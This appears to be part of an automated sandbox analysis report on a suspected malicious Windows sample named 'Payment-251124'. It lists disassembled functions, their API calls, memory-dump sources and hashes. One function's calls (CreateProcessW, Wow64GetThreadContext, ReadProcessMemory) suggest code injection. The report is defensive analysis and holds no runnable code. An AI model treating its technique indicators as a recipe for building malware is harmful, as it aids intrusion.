                                                        APIs
                                                        • __FF_MSGBANNER.LIBCMT ref: 00EE3973
                                                          • Part of subcall function 00EE81C2: __NMSG_WRITE.LIBCMT ref: 00EE81E9
                                                          • Part of subcall function 00EE81C2: __NMSG_WRITE.LIBCMT ref: 00EE81F3
                                                        • __NMSG_WRITE.LIBCMT ref: 00EE397A
                                                          • Part of subcall function 00EE821F: GetModuleFileNameW.KERNEL32(00000000,00F80312,00000104,00000000,00000001,00000000), ref: 00EE82B1
                                                          • Part of subcall function 00EE821F: ___crtMessageBoxW.LIBCMT ref: 00EE835F
                                                          • Part of subcall function 00EE1145: ___crtCorExitProcess.LIBCMT ref: 00EE114B
                                                          • Part of subcall function 00EE1145: ExitProcess.KERNEL32 ref: 00EE1154
                                                          • Part of subcall function 00EE7C0E: __getptd_noexit.LIBCMT ref: 00EE7C0E
                                                        • RtlAllocateHeap.NTDLL(015B0000,00000000,00000001,00000001,00000000,?,?,00EDF507,?,0000000E), ref: 00EE399F
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
                                                        • String ID:
                                                        • API String ID: 1372826849-0
                                                        • Opcode ID: 01ca9a1e33143e0298d65ccba23d4c1525cb78d4416ff374bd552e6ca9fe7c0f
                                                        • Instruction ID: ae061aed65c8e2dab3bc3818e5d0810278562fd92e6f6e14d17f4ab8bd8619be
                                                        • Opcode Fuzzy Hash: 01ca9a1e33143e0298d65ccba23d4c1525cb78d4416ff374bd552e6ca9fe7c0f
                                                        • Instruction Fuzzy Hash: 8D01F93234528D9AE7113B37DC4AB7A73C89BC5724F613026F505BB28BDFB19D404660
                                                        Function 00F0C6D9 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00F0C385,?,?,?,?,?,00000004), ref: 00F0C6F2
                                                        • SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00F0C385,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 00F0C708
                                                        • CloseHandle.KERNEL32(00000000,?,00F0C385,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00F0C70F
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: File$CloseCreateHandleTime
                                                        • String ID:
                                                        • API String ID: 3397143404-0
                                                        • Opcode ID: c3136f33690cd76cb588c75d3e6e21814f4e0cee5d1ac907f5b35350aa8f1eeb
                                                        • Instruction ID: b1a8125e5f4fc1657ec646848694e79380325f287ab0848029bdef446b365193
                                                        • Opcode Fuzzy Hash: c3136f33690cd76cb588c75d3e6e21814f4e0cee5d1ac907f5b35350aa8f1eeb
                                                        • Instruction Fuzzy Hash: CCE08636141218B7E7211F54AC09FCA7B18AB56B70F104210FF14690E097B12511A798
                                                        Function 00F0BB64 Relevance: 4.5, APIs: 3, Instructions: 22COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _free.LIBCMT ref: 00F0BB72
                                                          • Part of subcall function 00EE1C9D: RtlFreeHeap.NTDLL(00000000,00000000,?,00EE7A85), ref: 00EE1CB1
                                                          • Part of subcall function 00EE1C9D: GetLastError.KERNEL32(00000000,?,00EE7A85), ref: 00EE1CC3
                                                        • _free.LIBCMT ref: 00F0BB83
                                                        • _free.LIBCMT ref: 00F0BB95
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: _free$ErrorFreeHeapLast
                                                        • String ID:
                                                        • API String ID: 776569668-0
                                                        • Opcode ID: 9be2b5beef45e3014043d3abdf219173afad32993680376f9e1db3d5b0d03a7e
                                                        • Instruction ID: 51eb27ea1458f602c59bef133cf75ee27bc1334f51d2428d32bfc1a9158620a8
                                                        • Opcode Fuzzy Hash: 9be2b5beef45e3014043d3abdf219173afad32993680376f9e1db3d5b0d03a7e
                                                        • Instruction Fuzzy Hash: 04E012F1A4178147DA38657A6E48EB363CC4F44365724185DB459F7186CF34E880A5A4
                                                        Function 00EC2322 Relevance: 3.9, APIs: 3, Instructions: 159COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EC22A4: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00EC24F1), ref: 00EC2303
                                                        • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00EC25A1
                                                        • CoInitialize.OLE32(00000000), ref: 00EC2618
                                                        • CloseHandle.KERNEL32(00000000), ref: 00F3503A
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Handle$CloseInitializeMessageRegisterWindow
                                                        • String ID:
                                                        • API String ID: 3815369404-0
                                                        • Opcode ID: 5f1c64dcf5573664529e45c83620f71bc5d002a0b9ca29facd95b6b43c96d61a
                                                        • Instruction ID: 044d1e367f8d23cf9411b6efa7200037147785b33095afc11d4d9437348284b8
                                                        • Opcode Fuzzy Hash: 5f1c64dcf5573664529e45c83620f71bc5d002a0b9ca29facd95b6b43c96d61a
                                                        • Instruction Fuzzy Hash: 30719AB490128D8AC704EF6AAE949E5BBECBB99344B84432ED109DB372DB314407FF15
                                                        Function 00EC3A0F Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • IsThemeActive.UXTHEME ref: 00EC3A73
                                                          • Part of subcall function 00EE1405: __lock.LIBCMT ref: 00EE140B
                                                          • Part of subcall function 00EC3ADB: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00EC3AF3
                                                          • Part of subcall function 00EC3ADB: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00EC3B08
                                                          • Part of subcall function 00EC3D19: GetCurrentDirectoryW.KERNEL32(00007FFF,?,00000000,00000001,?,?,00EC3AA3,?), ref: 00EC3D45
                                                          • Part of subcall function 00EC3D19: IsDebuggerPresent.KERNEL32(?,?,?,?,00EC3AA3,?), ref: 00EC3D57
                                                          • Part of subcall function 00EC3D19: GetFullPathNameW.KERNEL32(00007FFF,?,?,00F81148,00F81130,?,?,?,?,00EC3AA3,?), ref: 00EC3DC8
                                                          • Part of subcall function 00EC3D19: SetCurrentDirectoryW.KERNEL32(?,?,?,00EC3AA3,?), ref: 00EC3E48
                                                        • SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00EC3AB3
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme__lock
                                                        • String ID:
                                                        • API String ID: 924797094-0
                                                        • Opcode ID: 2fc240ca7b217e7ccf17e53fb60a62579baf69b7ecd48a87ea56409baac13035
                                                        • Instruction ID: 043ba75ad0ebbba181716cbea487b85dc6d714344a0f597cf3c306aa497fed16
                                                        • Opcode Fuzzy Hash: 2fc240ca7b217e7ccf17e53fb60a62579baf69b7ecd48a87ea56409baac13035
                                                        • Instruction Fuzzy Hash: F011C0719043489BC310EF25ED05A6AFBE8FF94710F008A1FF985972A1DB709982DB92
                                                        Function 00EEE9D2 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • ___lock_fhandle.LIBCMT ref: 00EEEA29
                                                        • __close_nolock.LIBCMT ref: 00EEEA42
                                                          • Part of subcall function 00EE7BDA: __getptd_noexit.LIBCMT ref: 00EE7BDA
                                                          • Part of subcall function 00EE7C0E: __getptd_noexit.LIBCMT ref: 00EE7C0E
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: __getptd_noexit$___lock_fhandle__close_nolock
                                                        • String ID:
                                                        • API String ID: 1046115767-0
                                                        • Opcode ID: af2ce6d7d1b5c725e6cefc739edd928e2d527ddfd6e9ed26f5a6a362b3e95e28
                                                        • Instruction ID: 399e6f864d71bb3bf3a02b06a67ce1ba249b1360d51192d513e941608243bbe5
                                                        • Opcode Fuzzy Hash: af2ce6d7d1b5c725e6cefc739edd928e2d527ddfd6e9ed26f5a6a362b3e95e28
                                                        • Instruction Fuzzy Hash: 1911E972805ADC8AD711BF66D8413997AE16F81331F266354E4687F3E3DBB48C00D7A5
                                                        Function 00EDF4EA Relevance: 3.0, APIs: 2, Instructions: 43COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EE395C: __FF_MSGBANNER.LIBCMT ref: 00EE3973
                                                          • Part of subcall function 00EE395C: __NMSG_WRITE.LIBCMT ref: 00EE397A
                                                          • Part of subcall function 00EE395C: RtlAllocateHeap.NTDLL(015B0000,00000000,00000001,00000001,00000000,?,?,00EDF507,?,0000000E), ref: 00EE399F
                                                        • std::exception::exception.LIBCMT ref: 00EDF51E
                                                        • __CxxThrowException@8.LIBCMT ref: 00EDF533
                                                          • Part of subcall function 00EE6805: RaiseException.KERNEL32(?,?,0000000E,00F76A30,?,?,?,00EDF538,0000000E,00F76A30,?,00000001), ref: 00EE6856
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
                                                        • String ID:
                                                        • API String ID: 3902256705-0
                                                        • Opcode ID: c7b0092be43b767cd7a0ef96879f7fbb8a5b1922d885fccb80b25ec39e2db0a7
                                                        • Instruction ID: bb3c2f81a27b598413066c2675d1f1c1abb05133daf4a6df1590e9fd94b59a9a
                                                        • Opcode Fuzzy Hash: c7b0092be43b767cd7a0ef96879f7fbb8a5b1922d885fccb80b25ec39e2db0a7
                                                        • Instruction Fuzzy Hash: 29F0A43110425E67DB04FF99E8019DE7BE89F00354F605127F909F2382DBB0DA4296A5
                                                        Function 00EE35E4 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EE7C0E: __getptd_noexit.LIBCMT ref: 00EE7C0E
                                                        • __lock_file.LIBCMT ref: 00EE3629
                                                          • Part of subcall function 00EE4E1C: __lock.LIBCMT ref: 00EE4E3F
                                                        • __fclose_nolock.LIBCMT ref: 00EE3634
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: __fclose_nolock__getptd_noexit__lock__lock_file
                                                        • String ID:
                                                        • API String ID: 2800547568-0
                                                        • Opcode ID: 1a1ce74ae25b9d275eacf23fb48578dc235c33cc059e996c529d1ddb19cc4ee1
                                                        • Instruction ID: 4eec53a5235cfb4c19fe898efc409cad80c2eb163889acde10d5ea671e44f7cb
                                                        • Opcode Fuzzy Hash: 1a1ce74ae25b9d275eacf23fb48578dc235c33cc059e996c529d1ddb19cc4ee1
                                                        • Instruction Fuzzy Hash: ABF02B7180068DAAD711BB77880A76E76E06F50334F259108E414FB2D2C77C87019B52
                                                        Function 015F6EDD Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateProcessW.KERNELBASE(?,00000000), ref: 015F769B
                                                        • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 015F7731
                                                        • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 015F7753
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715787633.00000000015F5000.00000040.00000020.00020000.00000000.sdmp, Offset: 015F5000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_15f5000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                        • String ID:
                                                        • API String ID: 2438371351-0
                                                        • Opcode ID: 1e5ff81ed8f871418fabb2f1fb9f15c50bab29dc79b391b745a61db8bf218849
                                                        • Instruction ID: 3e4dc53f78313d6bf1790f5f9514bf3402258a014a44efad9dc81221786a48ad
                                                        • Opcode Fuzzy Hash: 1e5ff81ed8f871418fabb2f1fb9f15c50bab29dc79b391b745a61db8bf218849
                                                        • Instruction Fuzzy Hash: A112DD24A24658C6EB24DF64D8507DEB232FF68300F1094E9910DEB7A5E77A4F81CB5A
                                                        Function 00EE2957 Relevance: 1.6, APIs: 1, Instructions: 135COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __flush.LIBCMT ref: 00EE2A0B
                                                          • Part of subcall function 00EE7C0E: __getptd_noexit.LIBCMT ref: 00EE7C0E
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: __flush__getptd_noexit
                                                        • String ID:
                                                        • API String ID: 4101623367-0
                                                        • Opcode ID: ba1b573b9a1c5d238bdcc52ef1885e10968c5b94d85714b9232a10917baff8d1
                                                        • Instruction ID: ff36d21d3de010af20db12a181e73da51e26694fbb90b659c1626c0c56dabf9c
                                                        • Opcode Fuzzy Hash: ba1b573b9a1c5d238bdcc52ef1885e10968c5b94d85714b9232a10917baff8d1
                                                        • Instruction Fuzzy Hash: D141C77060078E9FDB2C8E6BC8805AE77BAAF84354B24A53DE559E7241DB71DD408740
                                                        Function 00EDED18 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ProtectVirtual
                                                        • String ID:
                                                        • API String ID: 544645111-0
                                                        • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                        • Instruction ID: ab5809efef14d9ef25b5f982cbd02ea546140c47e45d623e93ecdc7632d7642e
                                                        • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                        • Instruction Fuzzy Hash: 7731E970A00105DBC718EF68C4889A9FBB6FF49344B6496A6E409EF355DB31EDC2CB90
                                                        Function 00F39A75 Relevance: 1.6, APIs: 1, Instructions: 88COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ClearVariant
                                                        • String ID:
                                                        • API String ID: 1473721057-0
                                                        • Opcode ID: ffc54b91d7b4ed6b199b34eee0fc92e3b1dfe1a0b7d4f0d56f3c4300ecea43c8
                                                        • Instruction ID: 0363b1b80d716ebb6745ced6bb30ede468509f6631df050c6543740e10b4e630
                                                        • Opcode Fuzzy Hash: ffc54b91d7b4ed6b199b34eee0fc92e3b1dfe1a0b7d4f0d56f3c4300ecea43c8
                                                        • Instruction Fuzzy Hash: 95416D705086418FDB24CF14C484B1ABBE1FF45318F19899DE9965B362C376EC46DF42
                                                        Function 00EC41A9 Relevance: 1.6, APIs: 1, Instructions: 63libraryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EC4214: FreeLibrary.KERNEL32(00000000,?), ref: 00EC4247
                                                        • LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,00EC39FE,?,00000001), ref: 00EC41DB
                                                          • Part of subcall function 00EC4291: FreeLibrary.KERNEL32(00000000), ref: 00EC42C4
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Library$Free$Load
                                                        • String ID:
                                                        • API String ID: 2391024519-0
                                                        • Opcode ID: 3040ae09a9db44951d3c9f7896faddb5639da8ffcb43746473e080d583074474
                                                        • Instruction ID: c22dec0e4e8a930e160019f37a77b134c1f9abc526959c9762cb31b89c976960
                                                        • Opcode Fuzzy Hash: 3040ae09a9db44951d3c9f7896faddb5639da8ffcb43746473e080d583074474
                                                        • Instruction Fuzzy Hash: 4211E7B1600306AACB14AB74DE27F9E77E59F40710F10842DF596B71D1DA76DA02AB60
                                                        Function 00F39B45 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ClearVariant
                                                        • String ID:
                                                        • API String ID: 1473721057-0
                                                        • Opcode ID: 9af427813d1e18d0bab9c9cdd7da4ac1aca8ebc4ecd3fe6a0e886d5f44b35ec6
                                                        • Instruction ID: 906bbc51a4fb286dd23081f605993b89a7dbf46dfa5387fa0740f4a5762f4bb3
                                                        • Opcode Fuzzy Hash: 9af427813d1e18d0bab9c9cdd7da4ac1aca8ebc4ecd3fe6a0e886d5f44b35ec6
                                                        • Instruction Fuzzy Hash: D52125705086018FDB24DF68D444B1ABBE1FF84304F18596EE99A6B362C732E846DF52
                                                        Function 00EEAF61 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • ___lock_fhandle.LIBCMT ref: 00EEAFC0
                                                          • Part of subcall function 00EE7BDA: __getptd_noexit.LIBCMT ref: 00EE7BDA
                                                          • Part of subcall function 00EE7C0E: __getptd_noexit.LIBCMT ref: 00EE7C0E
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: __getptd_noexit$___lock_fhandle
                                                        • String ID:
                                                        • API String ID: 1144279405-0
                                                        • Opcode ID: 36fa84e1257d9b43af123f8c828ac141d38429f8d05caab3b47626b93a9edfd2
                                                        • Instruction ID: e4f69e6356a72bfd3235a995ed14f381dc867b0a3f14bc681c092545640921f4
                                                        • Opcode Fuzzy Hash: 36fa84e1257d9b43af123f8c828ac141d38429f8d05caab3b47626b93a9edfd2
                                                        • Instruction Fuzzy Hash: A611B6728046CC8FD7116FA6D8413AB76A19F41335F296250E4743F2E3C7B4AD0097A1
                                                        Function 00EC39DB Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: LibraryLoad
                                                        • String ID:
                                                        • API String ID: 1029625771-0
